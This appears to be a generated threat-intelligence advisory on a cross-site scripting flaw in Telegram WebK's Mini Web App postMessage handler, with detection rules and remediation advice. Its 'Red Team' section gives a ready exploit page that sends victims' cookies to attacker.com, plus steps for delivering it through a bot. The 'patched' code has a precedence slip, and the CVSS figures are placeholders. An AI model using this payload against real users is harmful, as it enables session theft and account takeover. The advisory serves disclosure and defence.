CVE-2024-33905

Executive Summary

CVE-2024-33905 is a cross-site scripting (XSS) vulnerability in Telegram WebK, the web-based client for Telegram. The flaw resides in the handling of the postMessage event type web_app_open_link within Mini Web Apps. An attacker can craft a malicious Mini Web App that, when interacted with by a victim, injects arbitrary JavaScript into the Telegram WebK context. This allows the attacker to perform actions on behalf of the victim, steal session tokens, or exfiltrate sensitive data. The vulnerability affects versions prior to 2.0.0 (488). No CVSS vector or EPSS score is available, but the public nature of the proof-of-concept and the widespread use of Telegram elevate the risk.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a client-side vulnerability in the Telegram WebK application itself.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) EPSS Score: 0.0% (Low exploitation probability currently)

Threat Level: Medium (due to public PoC and potential for session hijacking)

Rationale: While the CVSS is unassigned, the vulnerability allows XSS in a trusted context (Telegram WebK). The attack requires user interaction (clicking a link in a Mini Web App), but the impact can be severe, including credential theft and account takeover. The lack of a patch for older versions and the public PoC increase the threat.

Deep Dive & Mechanics

The vulnerability exists in the postMessage event handler within Telegram WebK. The web_app_open_link event type is used by Mini Web Apps to request opening a URL. The flaw is that the event handler does not properly sanitize or validate the URL before processing it. An attacker can craft a malicious Mini Web App that sends a postMessage with a javascript: URI or an HTML injection payload in the URL parameter. When the victim clicks the link, the malicious code executes in the context of the Telegram WebK origin, bypassing same-origin policy.

Attack Flow:

1. Attacker creates a Telegram Mini Web App (a simple web page hosted on their server).
2. The Mini Web App uses window.parent.postMessage({ eventType: 'web_app_open_link', url: 'javascript:alert(document.cookie)' }, '*') to send a message to the Telegram WebK parent window.
3. The victim opens the Mini Web App in Telegram WebK.
4. The victim clicks the link (or the app auto-triggers it).
5. Telegram WebK processes the postMessage and executes the javascript: URI, leading to XSS.

Vulnerable vs. Patched Code

Vulnerable Code (Telegram WebK < 2.0.0 (488)):

// Simplified vulnerable handler
window.addEventListener('message', function(event) {
    if (event.data.eventType === 'web_app_open_link') {
        // No validation of event.data.url
        window.open(event.data.url, '_blank');
    }
});

Patched Code (Telegram WebK >= 2.0.0 (488)):

// Simplified patched handler
window.addEventListener('message', function(event) {
    if (event.data.eventType === 'web_app_open_link') {
        // Validate URL scheme
        var url = event.data.url;
        if (url && url.startsWith('http://') || url.startsWith('https://')) {
            window.open(url, '_blank');
        } else {
            console.warn('Blocked invalid URL:', url);
        }
    }
});

The patch adds a check to ensure the URL starts with http:// or https://, blocking javascript: URIs and other dangerous schemes.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A Telegram account.
• A publicly accessible web server to host the malicious Mini Web App.
• Basic knowledge of JavaScript and postMessage.

Exploit Steps:

1. Create an HTML file (e.g., exploit.html) with the following content:

<!DOCTYPE html>
<html>
<head>
    <title>Malicious Mini App</title>
</head>
<body>
    <h1>Click the link below</h1>
    <a href="#" onclick="exploit()">Click me</a>
    <script>
        function exploit() {
            // XSS payload: steal cookies
            var payload = 'javascript:fetch("https://attacker.com/steal?cookie="+document.cookie)';
            window.parent.postMessage({ eventType: 'web_app_open_link', url: payload }, '*');
        }
    </script>
</body>
</html>

2. Host this file on your server (e.g., https://attacker.com/exploit.html).
3. Create a Telegram bot and use the Bot API to send a message containing a link to your Mini Web App (e.g., https://t.me/YourBot?start=exploit).
4. When a victim clicks the link and then clicks the "Click me" link in the Mini Web App, the XSS payload executes, sending their cookies to your server.

Alternative Payload: Use javascript:alert(document.domain) to test for XSS.

Blue Team (Defender)

Detection:

• Monitor for unusual postMessage events from iframes or Mini Web Apps.
• Look for web_app_open_link events with URLs containing javascript: or other dangerous schemes.
• Use browser developer tools to inspect network requests for steal endpoints.

Hunting:

• Search logs for web_app_open_link events with non-HTTP/HTTPS URLs.
• Analyze Mini Web App source code for suspicious postMessage calls.

Mitigation:

• Ensure all users upgrade to Telegram WebK 2.0.0 (488) or later.
• Implement Content Security Policy (CSP) headers on your own web applications to mitigate XSS.
• Educate users about the risks of clicking links in Mini Web Apps.

Indicators of Compromise (IOCs)

• Network:
  • Outbound requests to attacker.com/steal?cookie=... (or similar exfiltration endpoints).
  • postMessage events with eventType: 'web_app_open_link' and url starting with javascript:.
• Host:
  • Browser console logs showing Blocked invalid URL (if patched) or unexpected JavaScript execution.
  • Presence of malicious Mini Web App URLs in browser history.
• File:
  • HTML files containing postMessage with web_app_open_link and javascript: URIs.

Detection Engineering

YARA Rule

rule CVE_2024_33905_XSS_Telegram_WebK {
    meta:
        description = "Detects malicious Mini Web App HTML files exploiting CVE-2024-33905"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-33905"
    strings:
        $postMessage = "postMessage"
        $eventType = "web_app_open_link"
        $javascript = "javascript:" nocase
    condition:
        all of ($postMessage, $eventType, $javascript)
}

Sigma Rule

title: CVE-2024-33905 Telegram WebK XSS via postMessage
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-33905 via postMessage events
author: Valters IT
date: 2025-01-01
logsource:
    category: browser
    product: chromium
detection:
    selection:
        EventType: "web_app_open_link"
        URL|startswith: "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs in internal tools (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33905 Telegram WebK XSS via postMessage"; flow:to_server; content:"postMessage"; content:"web_app_open_link"; content:"javascript:"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Telegram WebK: Update to version 2.0.0 (488) or later. This is the only official patch.
2. Block Malicious Mini Web Apps: If you are a Telegram bot developer, validate all URLs before sending them to users.
3. User Education: Warn users not to click suspicious links in Mini Web Apps.

Long-Term Measures:

• CSP Implementation: For web applications, implement Content Security Policy headers to restrict script execution.
• Input Validation: Always validate and sanitize URLs received via postMessage.
• Regular Audits: Conduct security audits of Mini Web App code.

Workarounds:

• Disable Mini Web Apps in Telegram WebK settings (if available).
• Use a browser extension to block javascript: URIs in postMessage events.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2024-33905